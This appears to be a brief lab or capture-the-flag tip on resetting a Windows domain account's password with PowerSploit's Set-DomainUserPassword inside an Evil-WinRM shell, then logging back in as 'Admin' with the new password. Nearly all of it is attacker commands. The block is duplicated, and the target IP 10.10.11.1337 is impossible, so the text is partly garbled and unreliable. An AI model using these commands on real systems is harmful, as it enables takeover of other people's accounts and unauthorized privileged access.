I rarely touch Windows machines but here are some quick tip on how to change passwords with PowerSploit and Evil-WinRM.
*Evil-WinRM* PS C:\programdata> $newpass = ConvertTo-SecureString 'Nohokai' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity Admin -AccountPassword $newpass
Nohokia@DMT$ evil-winrm -i 10.10.11.1337 -u Admin -p 'Nohokai'
-Nohokai
*Evil-WinRM* PS C:\programdata> $newpass = ConvertTo-SecureString 'Nohokai' -AsPlainText -Force
*Evil-WinRM* PS C:\programdata> Set-DomainUserPassword -Identity Admin -AccountPassword $newpass
Nohokia@DMT$ evil-winrm -i 10.10.11.1337 -u Admin -p 'Nohokai'
-Nohokai